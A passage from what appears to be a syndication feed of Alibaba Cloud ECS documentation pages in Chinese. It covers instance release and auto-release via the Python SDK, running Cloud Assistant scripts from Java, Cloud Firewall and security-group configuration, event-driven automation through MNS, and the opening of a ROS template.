      def stop_instance(instance_id, force_stop=False):
          '''
          stop one ecs instance.
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param force_stop: if force stop is true, it will force stop the server and not ensure the data
          write to disk correctly.
          :return:
          '''
          request = StopInstanceRequest()
          request.set_InstanceId(instance_id)
          request.set_ForceStop(force_stop)
          logging.info("Stop %s command submit successfully.", instance_id)
          _send_request(request)

      释放ECS实例

      如果您没有停止ECS实例直接执行释放,可能会有如下报错:

      {"RequestId":"3C6DEAB4-7207-411F-9A31-6ADE54C268BE","HostId":"ecs-cn-hangzhou.aliyuncs.com","Code":"IncorrectInstanceStatus","Message":"The current status of the resource does not support this operation."}

      当ECS实例处于Stopped状态时,您可以执行释放ECS实例。释放ECS实例的方法比较简单,参数如下:

      • InstanceId:实例的ID。
      • force:如果将这个参数设置为true,将会执行强制释放。即使ECS实例不是Stopped状态也可以释放。执行的时候请务必小心,以防错误释放影响您的业务。

      释放ECS实例的Request如下:

      def release_instance(instance_id, force=False):
          '''
          delete instance according instance id, only support after pay instance.
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param force:
          if force is false, you need to make the ecs instance stopped, you can
          execute the delete action.
          If force is true, you can delete the instance even the instance is running.
          :return:
          '''
          request = DeleteInstanceRequest();
          request.set_InstanceId(instance_id)
          request.set_Force(force)
          _send_request(request)

      释放ECS实例成功的Response如下:

      {"RequestId":"689E5813-D150-4664-AF6F-2A27BB4986A3"}

      设置ECS实例的自动释放时间

      为了更加简化对ECS实例的管理,您可以自定义ECS实例的释放时间。到达释放时间时,阿里云将自动为您释放ECS实例,无需手动执行释放。

      说明 自动释放时间按照ISO8601标准表示,并需要使用UTC时间。 格式为:yyyy-MM-ddTHH:mm:ssZ。 如果秒不是00,则自动取为当前分钟开始计时。自动释放的时间范围:当前时间后30分钟~当前时间起3年。

      def set_instance_auto_release_time(instance_id, time_to_release = None):
          '''
          setting instance auto delete time
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :param time_to_release: if the property is setting, such as '2017-01-30T00:00:00Z'
          it means setting the instance to be release at that time.
          if the property is None, it means cancel the auto delete time.
          :return:
          '''
          request = ModifyInstanceAutoReleaseTimeRequest()
          request.set_InstanceId(instance_id)
          if time_to_release is not None:
              request.set_AutoReleaseTime(time_to_release)
          _send_request(request)

      执行set_instance_auto_release_time(‘i-1111’, ‘2017-01-30T00:00:00Z’)后完成设置。

      执行设置成功后,您可以通过DescribeInstances来查询自动释放的时间设置。

      def describe_instance_detail(instance_id):
          '''
          describe instance detail
          :param instance_id: instance id of the ecs instance, like 'i-***'.
          :return:
          '''
          request = DescribeInstancesRequest()
          request.set_InstanceIds(json.dumps([instance_id]))
          response = _send_request(request)
          if response is not None:
              instance_list = response.get('Instances').get('Instance')
              if len(instance_list) > 0:
                  return instance_list[0]
      def check_auto_release_time_ready(instance_id):
          detail = describe_instance_detail(instance_id=instance_id)
          if detail is not None:
              release_time = detail.get('AutoReleaseTime')
              return release_time

      取消自动释放设置

      如果您的业务有变化,需要取消自动释放设置。只需执行命令将自动释放时间设置为空即可。

      set_instance_auto_release_time('i-1111')

      ]]> Java程序免登录管理ECS实例_DevOps自动化运维实践_云助手_运维与监控_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 Java程序免登录管理ECS实例

      更新时间:2020-02-24 10:29:44

      本页目录

      云助手命令可以在多台ECS实例中批量执行Shell、Bat或者PowerShell脚本。相较于SSH/RDP模式,您可以使用云助手通过Java开发环境直接为云端的ECS实例进行运维操作。

      前提条件

      • 目标ECS实例已安装云助手客户端。具体步骤,请参见云助手客户端
      • 已更新Java开发环境中的SDK依赖aliyun-java-sdk-ecs至4.18.3或以上版本。更多详情,请前往Maven项目获取最新版本。

      操作步骤

      1. 根据ECS实例的配置,以及您需要执行的操作,编写Shell、Bat或者PowerShell命令。

        例如,以下Shell命令示例可以升级ECS实例中的Python开发环境。

        wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz
        rm -rf /usr/bin/python3 
        tar -xzvf Python-3.7.0.tgz
        cd Python-3.7.0
        /configure && make && make install
        ln -s /usr/local/bin/python3.7 /usr/bin/python3
        ln -s /usr/local/bin/python3.7-config /usr/bin/python-config
        python3 -V

        更多命令示例,请参见查看实例系统配置修改实例配置与安装应用

      2. 查询满足条件的目标ECS实例。

        ECS实例状态必须为运行中Running)。查询实例的Java SDK示例请参见查询ECS实例

      3. 获取账号AccessKey,以及查询地域ID。

        具体步骤,请参见地域和可用区创建AccessKey

      4. 新建一个RunCommandSample.java类,为一台或多台系统配置相同的ECS实例执行云助手命令。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.ecs.model.v20140526.RunCommandRequest;
        import com.aliyuncs.ecs.model.v20140526.RunCommandResponse;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        import java.util.ArrayList;
        import java.util.List;
        
        public class RunCommandsSmaple {
            public static void main(String[] args) {
                // 初始化profile对象,并设置地域ID(例如cn-hangzhou)以及API密钥(accessKeyId和accessKeySecret)。
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
        
                IAcsClient client = new DefaultAcsClient(profile);
                RunCommandRequest request = new RunCommandRequest();
        
                // request.setRegionId("cn-hangzhou");
                request.setName("upgradePython");
                request.setType("RunShellScript");
                // 您编写的云助手命令内容,支持Shell、Bat以及PowerShell命令。
                request.setCommandContent("wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tgz && rm -rf /usr/bin/python3 n tar -xzvf Python-3.7.0.tgz  n cd Python-3.7.0 n ./configure && make && make installnln -s /usr/local/bin/python3.7 /usr/bin/python3nln -s /usr/local/bin/python3.7-config /usr/bin/python-confignpython3 -V");
                // 如果您在CommandContent中使用的是明文命令显示,请设置为PlainText。
                request.setContentEncoding("PlainText");
                // 由于需要下载安装包可能耗费较长时间,建议您设置合适的超时时间,避免远程命令由于超时失败。默认超时时间为60s。
                request.setTimeout(600L);
        
                // 一台或多台ECS实例组成的ID列表。
                List<String> instanceIdList = new ArrayList<String>();
                instanceIdList.add("i-bp155lkyo1ut0d******");
                request.setInstanceIds(instanceIdList);
        
                // 处理报错和应答。
                try {
                    RunCommandResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
            }
        }

        返回结果如下所示,并记录InvokeId

        {
            "RequestId": "473469C7-AA6F-4DC5-B3DB-A3DC0DE3C83E",
            "InvokeId": "t-hz0b22o6******",
            "CommandId": "c-b224dc5072f3460fbb10fc2912******"
        }

      5. 新建一个DescribeInvocationsSample.java类,查询命令运行是否成功。

        import com.aliyuncs.DefaultAcsClient;
        import com.aliyuncs.IAcsClient;
        import com.aliyuncs.ecs.model.v20140526.DescribeInvocationsRequest;
        import com.aliyuncs.ecs.model.v20140526.DescribeInvocationsResponse;
        import com.aliyuncs.exceptions.ClientException;
        import com.aliyuncs.exceptions.ServerException;
        import com.aliyuncs.profile.DefaultProfile;
        import com.google.gson.Gson;
        
        public class DescribeInvocationsSample {
            public static void main(String[] args) {
                DefaultProfile profile = DefaultProfile.getProfile("cn-hangzhou", "<accessKeyId>", "<accessSecret>");
                IAcsClient client = new DefaultAcsClient(profile);
        
                DescribeInvocationsRequest request = new DescribeInvocationsRequest();
                // request.setRegionId("cn-hangzhou");
                // 填写云助手命令的执行ID。
                request.setInvokeId("t-hz0b22o6******");
        
                try {
                    DescribeInvocationsResponse response = client.getAcsResponse(request);
                    System.out.println(new Gson().toJson(response));
                } catch (ServerException e) {
                    e.printStackTrace();
                } catch (ClientException e) {
                    System.out.println("ErrCode:" + e.getErrCode());
                    System.out.println("ErrMsg:" + e.getErrMsg());
                    System.out.println("RequestId:" + e.getRequestId());
                }
            }
        }

        返回结果如下所示,通过InvokeInstances,您可以查看命令的运行状态和结果。

        {
            "RequestId": "9A281A3E-0CE1-4D26-83F2-20F52EAC567D",
            "TotalCount": 56,
            "PageNumber": 1,
            "PageSize": 1,
            "Invocations": [{
                "InvokeId": "t-hz0b22o6******",
                "CreationTime": "2020-02-17T11:28:01Z",
                "CommandId": "c-b224dc5072f3460fbb10fc2912******",
                "CommandType": "RunShellScript",
                "CommandName": "upgradePython",
                "CommandContent": "******",
                "Frequency": "",
                "Timed": false,
                "InvokeStatus": "Finished",
                "Parameters": "{}",
                "InvokeInstances": [{
                    "InstanceId": "i-bp155lkyo1ut0d******",
                    "Repeats": 1,
                    "InstanceInvokeStatus": "Finished",
                    "InvocationStatus": "Success",
                    "Output": "",
                    "ExitCode": 0,
                    "Dropped": 0,
                    "ErrorCode": "",
                    "ErrorInfo": "",
                    "CreationTime": "2020-02-17T11:28:01Z",
                    "StartTime": "2020-02-17T11:28:02Z",
                    "StopTime": "",
                    "FinishTime": "2020-02-17T11:28:02Z",
                    "UpdateTime": "2020-02-17T11:28:02Z"
                }]
            }]
        }

      ]]> 通过云防火墙控制ECS实例间访问_安全_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通过云防火墙控制ECS实例间访问

      更新时间:2019-08-22 11:14:40

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      云防火墙可以统一管理ECS实例之间(东西向)、互联网和ECS实例之间(南北向)的流量。本文介绍如何配置云防火墙并查看业务关系。

      前提条件

      • 使用本教程进行操作前,请确保您已经注册了阿里云账号。如还未注册,请先完成账号注册
      • 在使用主机边界防火墙前,您需要授权云防火墙访问云资源,请参见云防火墙授权说明
      • 在使用主机边界防火墙前,您需要确保云防火墙为企业版或旗舰版,请参见云防火墙计费方式

      背景信息

      云防火墙提供防火墙一键开关、入侵检测、主动外联阻断、流量分析、日志等功能。包括主机边界防火墙、互联网边界防火墙和VPC边界防火墙。更多云防火墙概念介绍,请参见云防火墙云防火墙词汇表

      主机边界防火墙作用于东西向流量,底层使用了ECS安全组的能力。您可以在云防火墙控制台为主机边界防火墙设置内对内策略组,也可以在ECS控制台的安全组中设置规则,来控制东西向(即,ECS实例之间)的访问。云防火墙和ECS安全组的配置自动保持同步。您还可以设置应用组,直观查看ECS实例间的访问关系,从而根据访问情况优化内对内策略。

      互联网边界防火墙作用于南北向流量,在互联网和ECS实例间进行访问控制。您可以按需设置外对内和内对外策略,在入侵防御的基础上进行策略加固,请参见网络流量活动概览访问控制策略概览

      以下场景建议您使用云防火墙:

      • 基于域名的访问控制。
      • 基于应用的访问控制。
      • 对失陷主机的主动外联进行自动阻断。
      • 因等保需求,需要近6个月的访问日志。

      配置主机边界防火墙

      在云防火墙控制台发布策略组后,数据立即同步到安全组,但是在ECS控制台配置安全组后,数据每天在固定时间同步到策略组,需要次日才能看到效果。购买企业版或旗舰版云防火墙后,您可以在云防火墙控制台统一维护东西向的访问控制策略。

      完成以下操作,配置主机边界防火墙:

      1. 登录云防火墙控制台
      2. 在左侧导航栏,单击访问控制
      3. 单击主机边界防火墙

        • 策略组来源表示了策略组的来源。
        • 自定义表示在云防火墙中创建。
        • 同步安全组表示同步自ECS安全组。
        • 同步应用组表示同步自应用组。

      4. 单击新增策略组
      5. 配置策略组名称所属VPC实例ID描述模板,然后单击提交

        说明 配置所属VPC后,地域也确定为VPC所属的地域,例如华东1(杭州)

      6. 可选: 在策略组操作列下单击配置策略,按照业务需求新建策略。
      7. 在策略组操作列下单击发布,发布成功后即同步到ECS安全组。按照以下步骤查看同步效果:
        1. 登录ECS管理控制台
        2. 选择策略组所在地域,例如华东1(杭州)
        3. 在左侧导航栏,单击网络与安全 > 安全组
        4. 搜索维度选择安全组名称,在文本框中输入策略组名称,然后单击搜索,出现同名安全组即表示同步成功。

      主机边界防火墙配置完成后,即开始控制ECS实例间的访问。在云防火墙中,您还可以设置应用组,可视化呈现业务关系。

      查看业务关系

      在云防火墙中,业务区是东西向业务中构成用户某个业务的各个应用组的集合,例如门户网站业务区可能包含Web应用组、DB应用组等。应用组是东西向业务中提供的相同/相似服务的应用集合,例如所有部署了MySQL的ECS实例归属到同一个DB应用组,部署了Apache服务的ECS实例归属到同一个Web应用组。

      完成以下操作,查看当前ECS实例之间的关系:

      1. 登录云防火墙控制台
      2. 在左侧导航栏,单击业务可视 > 应用分组
      3. 创建业务区。
        1. 单击业务区
        2. 单击新建业务区
        3. 填写名称,例如DB业务、Web业务。
        4. 填写备注
        5. 选择程度,例如非常重要
      4. 创建应用组。
        1. 单击应用组
        2. 单击新建应用组
        3. 填写名称,例如DB应用组、Web应用组。
        4. 填写备注
        5. 选择程度,例如非常重要
        6. 选择业务区类型,例如选择已有业务区
        7. 选择业务区,例如DB业务、Web业务。
      5. 分配应用。
        1. 选择VPC,例如华东 1 - vpc-xxx。
        2. 根据业务需要分配应用,例如将部署了MySQL的ECS实例分配至DB应用组,将部署了Apache服务的ECS实例分配至Web应用组。
      6. 在左侧导航栏,单击业务关系
      7. 选择VPC,例如华东 1 - vpc-xxx,即可查看不同业务区的访问关系。您也可以进入应用组和应用层级查看访问关系。


        查看业务区的访问关系

      ]]> ECS安全组实践(二)_安全_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全组实践(二)

      更新时间:2019-09-10 17:11:36

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文从授权和撤销安全组规则、加入和移出安全组讲解云服务器ECS的安全组最佳实践。

      网络类型

      阿里云的网络类型分为经典网络和专有网络VPC,对安全组支持不同的设置规则:

      • 如果是经典网络,您可以设置内网入方向、内网出方向、公网入方向和公网出方向的安全组规则。
      • 如果是专有网络VPC,您可以设置内网入方向和内网出方向的安全组规则。

      安全组是区分网络类型的,一台经典网络类型的ECS实例只能加入经典网络的安全组。一台专有网络VPC类型的ECS实例只能加入本VPC的安全组。

      安全组内网通讯的概念

      本文开始之前,您应知道以下几个安全组内网通讯的概念:

      • 默认只有同一个安全组的ECS实例可以网络互通。即使是同一个账户下的ECS实例,如果分属不同安全组,内网网络也是不通的。这个对于经典网络和专有网络VPC都适用。所以,经典网络类型的ECS实例也是内网安全的。
      • 如果您有两台ECS实例,不在同一个安全组,您希望它们内网不互通,但实际上它们却内网互通,那么,您需要检查您的安全组内网规则设置。如果内网协议存在下面的协议,建议您重新设置。
        • 允许所有端口。
        • 授权对象为CIDR网段(SourceCidrIp):0.0.0.0/0或者10.0.0.0/8的规则。如果是经典网络,上述协议会造成您的内网暴露给其它的访问。
      • 如果您想实现在不同安全组的资源之间的网络互通,您应使用安全组方式授权。对于内网访问,您应使用源安全组授权,而不是CIDR网段授权。

      安全规则的属性

      安全规则主要是描述不同的访问权限,包括如下属性:

      • Policy:授权策略,参数值可以是accept(接受)或drop(拒绝)。
      • Priority:优先级,根据安全组规则的创建时间降序排序匹配。规则优先级可选范围为1-100,默认值为1,即最高优先级。数字越大,代表优先级越低。
      • NicType:网络类型。如果只指定了SourceGroupId而没有指定SourceCidrIp,表示通过安全组方式授权,此时,NicType必须指定为intranet
      • 规则描述:
        • IpProtocol:IP协议,取值:tcpudpicmpgreallall表示所有的协议。
        • PortRange:IP协议相关的端口号范围:
          • IpProtocol取值为tcpudp时,端口号取值范围为1~65535,格式必须是“起始端口号/终止端口号”,如“1/200”表示端口号范围为1~200。如果输入值为“200/1”,接口调用将报错。
          • IpProtocol取值为icmpgreall时,端口号范围值为-1/-1,表示不限制端口。
        • 如果通过安全组授权,应指定SourceGroupId,即源安全组ID。此时,根据是否跨账号授权,您可以选择设置源安全组所属的账号SourceGroupOwnerAccount。
        • 如果通过CIDR授权,应指定SourceCidrIp,即源IP地址段,必须使用CIDR格式。

      授权一条入网请求规则

      在控制台或者通过API创建一个安全组时,入网方向默认deny all,即默认情况下您拒绝所有入网请求。这并不适用于所有的情况,所以您要适度地配置您的入网规则。

      例如,如果您需要开启公网的80端口对外提供HTTP服务,因为是公网访问,您希望入网尽可能多访问,所以在IP网段上不应做限制,可以设置为0.0.0.0/0,具体设置可以参见以下描述,其中,括号外为控制台参数,括号内为OpenAPI参数,两者相同就不做区分。

      • 网卡类型(NicType):公网(internet)。如果是专有网络VPC类型的只需要填写intranet,通过EIP实现公网访问。
      • 授权策略(Policy):允许(accept)。
      • 规则方向(NicType):入网。
      • 协议类型(IpProtocol):TCP(tcp)。
      • 端口范围(PortRange):80/80。
      • 授权对象(SourceCidrIp):0.0.0.0/0。
      • 优先级(Priority):1。

      说明 上面的建议仅对公网有效。内网请求不建议使用CIDR网段,请参见经典网络的内网安全组规则不要使用 CIDR 或者 IP 授权

      禁止一个入网请求规则

      禁止一条规则时,您只需要配置一条拒绝策略,并设置较低的优先级即可。这样,当有需要时,您可以配置其它高优先级的规则覆盖这条规则。例如,您可以采用以下设置拒绝6379端口被访问。

      • 网卡类型(NicType):内网(intranet)。
      • 授权策略(Policy):拒绝(drop)。
      • 规则方向(NicType):入网。
      • 协议类型(IpProtocol):TCP(tcp)。
      • 端口范围(PortRange):6379/6379。
      • 授权对象(SourceCidrIp):0.0.0.0/0。
      • 优先级(Priority):100。

      经典网络的内网安全组规则不要使用CIDR或者IP授权

      对于经典网络类型的ECS实例,阿里云默认不开启任何内网的入规则。内网的授权一定要谨慎。

      说明 为了安全考虑,不建议开启任何基于CIDR网段的授权。

      对于ECS实例来说,内网的IP经常变化,另外,这个IP的网段是没有规律的,所以,建议您通过安全组授权对经典网络内网的访问。

      例如,您在安全组sg-redis上构建了一个redis的集群,为了只允许特定的机器(例如sg-web)访问这个redis的服务器编组,您不需要配置任何CIDR,只需要添加一条入规则:指定相关的安全组ID即可。

      • 网卡类型(NicType):内网(intranet)。
      • 授权策略(Policy):允许(accept)。
      • 规则方向(NicType):入网。
      • 协议类型(IpProtocol):TCP(tcp)。
      • 端口范围(PortRange):6379/6379。
      • 授权对象(SourceGroupId):sg-web。
      • 优先级(Priority):1。

      对于专有网络VPC类型的实例,如果您已经通过多个VSwitch规划好自己的IP范围,您可以使用CIDR设置作为安全组入规则。但是,如果您的专有网络VPC网段不够清晰,建议您优先考虑使用安全组作为入规则。

      将需要互相通信的ECS实例加入同一个安全组

      一个ECS实例最多可以加入5个安全组,而同一安全组内的ECS实例之间是网络互通的。如果您在规划时已经有多个安全组,而且,直接设置多个安全规则过于复杂的话,您可以新建一个安全组,然后将需要内网通讯的ECS实例加入这个新的安全组。

      这里也不建议您将所有的ECS实例都加入一个安全组,这将会使得您的安全组规则设置变成梦魇。对于一个中大型应用来说,每个服务器编组的角色不同,合理地规划每个服务器的入方向请求和出方向请求是非常有必要的。

      在控制台上,您可以根据文档加入安全组的描述将一台实例加入安全组。

      如果您对阿里云的OpenAPI非常熟悉,您可以参见弹性管理ECS实例,通过OpenAPI进行批量操作。对应的Python片段如下。

      def join_sg(sg_id, instance_id):
          request = JoinSecurityGroupRequest()
          request.set_InstanceId(instance_id)
          request.set_SecurityGroupId(sg_id)
          response = _send_request(request)
          return response
      # send open api request
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)

      将ECS实例移除安全组

      如果ECS实例加入不合适的安全组,将会暴露或者Block您的服务,这时您可以选择将ECS实例从这个安全组中移除。但是在移除安全组之前必须保证您的ECS实例已经加入其它安全组。

      说明 将ECS实例从安全组移出,将会导致这台ECS实例和当前安全组内的网络不通,建议您在移出之前做好充分的测试。

      对应的Python片段如下。

      def leave_sg(sg_id, instance_id):
          request = LeaveSecurityGroupRequest()
          request.set_InstanceId(instance_id)
          request.set_SecurityGroupId(sg_id)
          response = _send_request(request)
          return response
      # send open api request
      def _send_request(request):
          request.set_accept_format('json')
          try:
              response_str = clt.do_action(request)
              logging.info(response_str)
              response_detail = json.loads(response_str)
              return response_detail
          except Exception as e:
              logging.error(e)

      定义合理的安全组名称和标签

      合理的安全组名称和描述有助于您快速识别当前复杂的规则组合。您可以通过修改名称和描述来帮助自己识别安全组。

      您也可以通过为安全组设置标签分组管理自己的安全组。您可以在控制台直接设置标签,具体操作请参见设置标签,也可以通过API设置标签。

      删除不需要的安全组

      安全组中的安全规则类似于一条条白名单和黑名单。所以,请不要保留不需要的安全组,以免因为错误加入某台ECS实例而造成不必要的麻烦。

      ]]> ECS状态变化事件的自动化运维最佳实践_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS状态变化事件的自动化运维最佳实践

      更新时间:2020-04-15 18:37:52

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文通过实践案例为您介绍云监控如何利用MNS消息队列实现自动化处理ECS状态变化事件。

      背景信息

      阿里云ECS在已有的系统事件的基础上,通过云监控新发布了状态变化类事件和抢占型实例的中断通知事件。每当ECS实例的状态发生变化的时候,都会触发一条ECS实例状态变化事件。这种变化包括您在控制台/OpenAPI/SDK操作导致的变化,也包括弹性伸缩或欠费等原因而自动触发的变化,还包括因为系统异常而触发的变化。

      云监控以前发布的系统事件,主要针对告警后人工介入的场景,而这次新发布的事件属于正常类的信息通知,适合自动化的审计运维等场景。为了自动化处理ECS状态变化事件,云监控提供了两种主要途径:一种是通过函数计算,另一种是通过MNS消息队列。本文将为您介绍利用MNS消息队列自动化处理ECS事件的三种最佳实践。

      自动化处理ECS状态变化事件的准备工作

      • 创建消息队列
        1. 登录MNS控制台
        2. 队列页面,选择地域,单击右上角的创建队列,进入新建队列页面。新建队列
        3. 输入队列名称(例如:ecs-cms-event)等信息,单击确认,即可完成创建消息队列。
      • 创建事件报警规则
        1. 登录云监控控制台
        2. 在左侧导航栏,单击事件监控
        3. 事件监控页面,单击报警规则页签,单击右上角的创建事件报警创建/修改事件报警
        4. 基本信息区域,填写报警规则名称,例如:ecs-test-rule。
        5. 事件报警规则区域,选择事件类型为系统事件
          • 产品类型、事件等级、事件名称:产品类型选择云服务器ECS事件类型选择StatusNotification,其余按照实际情况填写。
          • 资源范围:选择全部资源时,任何资源发生相关事件,都会按照配置发送通知;选择应用分组时,只有指定分组内的资源发生相关事件时,才会发送通知。
        6. 报警方式区域,选择消息服务队列,然后选择地域和队列(例如:ecs-cms-event)。
        7. 单击确定,即可完成创建事件报警规则。
      • 安装Python依赖

        本文所有的代码均使用Python 3.6测试通过,您也可以使用Java等其他编程语言。

        请使用Pypi安装以下Python依赖:

        • aliyun-python-sdk-core-v3>=2.12.1
        • aliyun-python-sdk-ecs>=4.16.0
        • aliyun-mns>=1.1.5

      自动化处理ECS状态变化事件的实施步骤

      云监控会把云服务器ECS所有的状态变化事件都投递到MNS里面,接下来我们需要通过编写代码从MNS获取消息并进行消息处理。

      • 实践一:对所有ECS的创建和释放事件进行记录

        目前ECS控制台无法查询已经释放的实例。如果您有查询需求,可以通过ECS状态变化事件把所有ECS的生命周期记录在自己的数据库或者日志里。每当创建ECS时,会发送一个Pending事件,每当释放ECS时,会发送一个Deleted事件。我们需要对这两种事件进行记录。

        1. 编辑一个Conf文件。

          需包含MNS的endpoint、阿里云的access key和secret、region id(例如cn-beijing)以及mns queue的名字 。

          说明 endpoint可以在MNS控制台的队列页面,单击获取Endpoint

          class Conf:
              endpoint = 'http://<id>.mns.<region>.aliyuncs.com/'
              access_key = '<access_key>'
              access_key_secret = '<access_key_secrect>'
              region_id = 'cn-beijing'
              queue_name = 'test'
              vsever_group_id = '<your_vserver_group_id>'
          									

        2. 使用MNS的SDK编写一个MNS Client用来获取MNS消息。
          # -*- coding: utf-8 -*-
          import json
          from mns.mns_exception import MNSExceptionBase
          import logging
          from mns.account import Account
          from . import Conf
          
          
          class MNSClient(object):
              def __init__(self):
                  self.account =  Account(Conf.endpoint, Conf.access_key, Conf.access_key_secret)
                  self.queue_name = Conf.queue_name
                  self.listeners = dict()
          
              def regist_listener(self, listener, eventname='Instance:StateChange'):
                  if eventname in self.listeners.keys():
                      self.listeners.get(eventname).append(listener)
                  else:
                      self.listeners[eventname] = [listener]
          
              def run(self):
                  queue = self.account.get_queue(self.queue_name)
                  while True:
                      try:
                          message = queue.receive_message(wait_seconds=5)
                          event = json.loads(message.message_body)
                          if event['name'] in self.listeners:
                              for listener in self.listeners.get(event['name']):
                                  listener.process(event)
                          queue.delete_message(receipt_handle=message.receipt_handle)
                      except MNSExceptionBase as e:
                          if e.type == 'QueueNotExist':
                              logging.error('Queue %s not exist, please create queue before receive message.', self.queue_name)
                          else:
                              logging.error('No Message, continue waiting')
          
          
          class BasicListener(object):
              def process(self, event):
                  pass
          								

          上述代码只是对MNS消息获取的数据,调用Listener消费消息之后删除消息,后面的实践也会用到。

        3. 注册一个Listener进消费指定事件。这个简单的Listener判断收到Pending和Deleted事件时,打印一行日志。
           # -*- coding: utf-8 -*-
          import logging
          from .mns_client import BasicListener
          
          
          class ListenerLog(BasicListener):
              def process(self, event):
                  state = event['content']['state']
                  resource_id = event['content']['resourceId']
                  if state == 'Panding':
                      logging.info(f'The instance {resource_id} state is {state}')
                  elif state == 'Deleted':
                      logging.info(f'The instance {resource_id} state is {state}')
          								

          Main函数写法如下:

          mns_client = MNSClient()
          
          mns_client.regist_listener(ListenerLog())
          
          mns_client.run()

          实际生产环境下,可能需要将事件存储在数据库里,或者使用SLS日志服务,方便后期的搜索和审计。

      • 实践二:ECS关机自动重启

        在某些场景下,ECS会非预期的关机,您可能需要自动重启已经关机的ECS。

        为了实现ECS关机自动重启,您可以复用实践一里面的MNS Client,添加一个新的Listener。当收到Stopped事件的时,对该ECS执行命令Start。

        # -*- coding: utf-8 -*-
        import logging
        from aliyunsdkecs.request.v20140526 import StartInstanceRequest
        from aliyunsdkcore.client import AcsClient
        from .mns_client import BasicListener
        from .config import Conf
        
        
        class ECSClient(object):
            def __init__(self, acs_client):
                self.client = acs_client
        
            # 启动ECS实例
            def start_instance(self, instance_id):
                logging.info(f'Start instance {instance_id} ...')
                request = StartInstanceRequest.StartInstanceRequest()
                request.set_accept_format('json')
                request.set_InstanceId(instance_id)
                self.client.do_action_with_exception(request)
        
        
        class ListenerStart(BasicListener):
            def __init__(self):
                acs_client = AcsClient(Conf.access_key, Conf.access_key_secret, Conf.region_id)
                self.ecs_client = ECSClient(acs_client)
        
            def process(self, event):
                detail = event['content']
                instance_id = detail['resourceId']
                if detail['state'] == 'Stopped':
                    self.ecs_client.start_instance(instance_id)
        					

        在实际生产环境下,执行完Start命令后,可能还需要继续接收后续的Starting/Running/Stopped等事件,再配合计时器和计数器,进行Start成功或失败之后的处理。

      • 实践三:抢占型实例释放前,自动从SLB移除

        抢占型实例在释放之前五分钟左右,会发出释放告警事件,您可以利用这短暂的时间运行一些业务不中断的逻辑。例如,主动从SLB的后端服务器中去掉这台即将被释放的抢占型实例,而不是被动等待实例释放后SLB的自动处理。

        您复用实践一的MNS Client,添加一个新的Listener,当收到抢占型实例的释放告警时,调用SLB的SDK。

        # -*- coding: utf-8 -*-
        from aliyunsdkcore.client import AcsClient
        from aliyunsdkcore.request import CommonRequest
        from .mns_client import BasicListener
        from .config import Conf
        
        
        class SLBClient(object):
            def __init__(self):
                self.client = AcsClient(Conf.access_key, Conf.access_key_secret, Conf.region_id)
                self.request = CommonRequest()
                self.request.set_method('POST')
                self.request.set_accept_format('json')
                self.request.set_version('2014-05-15')
                self.request.set_domain('slb.aliyuncs.com')
                self.request.add_query_param('RegionId', Conf.region_id)
        
            def remove_vserver_group_backend_servers(self, vserver_group_id, instance_id):
                self.request.set_action_name('RemoveVServerGroupBackendServers')
                self.request.add_query_param('VServerGroupId', vserver_group_id)
                self.request.add_query_param('BackendServers',
                                             "[{'ServerId':'" + instance_id + "','Port':'80','Weight':'100'}]")
                response = self.client.do_action_with_exception(self.request)
                return str(response, encoding='utf-8')
        
        
        class ListenerSLB(BasicListener):
            def __init__(self, vsever_group_id):
                self.slb_caller = SLBClient()
                self.vsever_group_id = Conf.vsever_group_id
        
            def process(self, event):
                detail = event['content']
                instance_id = detail['instanceId']
                if detail['action'] == 'delete':
                    self.slb_caller.remove_vserver_group_backend_servers(self.vsever_group_id, instance_id)
        					

        注意

        抢占型实例释放告警的event name与前面不同,应该是mns_client.regist_listener(ListenerSLB(Conf.vsever_group_id), 'Instance:PreemptibleInstanceInterruption')

        在实际生产环境下,您需要再申请一台新的抢占型实例,挂载到SLB上,来保证服务能力。

      ]]> 创建多台ECS实例_资源编排_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建多台ECS实例

      更新时间:2019-12-06 09:50:50

      本页目录

      本文为您介绍如何通过资源编排服务(ROS)创建多台ECS实例。

      您可以在模板中使用Metadata对Parameters中定义的参数进行归类。当资源类型较多时,使用Metadata可以使控制台的代码看起来更加整洁、直观。创建多台ECS实例的注意事项,请参见ALIYUN::ECS::InstanceGroup。关于如何通过ROS控制台创建资源栈,请参见创建资源栈

      JSON格式模板

      {
        "ROSTemplateFormatVersion": "2015-09-01",
        "Description": "创建多台ECS实例",
        "Metadata": {
          "ALIYUN::ROS::Interface": {
            "ParameterGroups": [
              {
                "Parameters": [
                  "ImageId",
                  "InstanceType",
                  "ZoneId",
                  "LoginPassword",
                  "ECSAmount",
                  "DiskSize",
                  "DiskCategory",
                  "SystemDiskSize",
                  "SystemDiskCategory",
                  "InstanceNamePrefix",
                  "HostNamePrefix"
                ],
                "Label": {
                  "default": "ECS"
                }
              }
            ],
            "TemplateTags": [
              "ECS"
            ]
          }
        },
        "Parameters": {
          "ZoneId": {
            "AssociationProperty": "ALIYUN::ECS::Instance:ZoneId",
            "Type": "String",
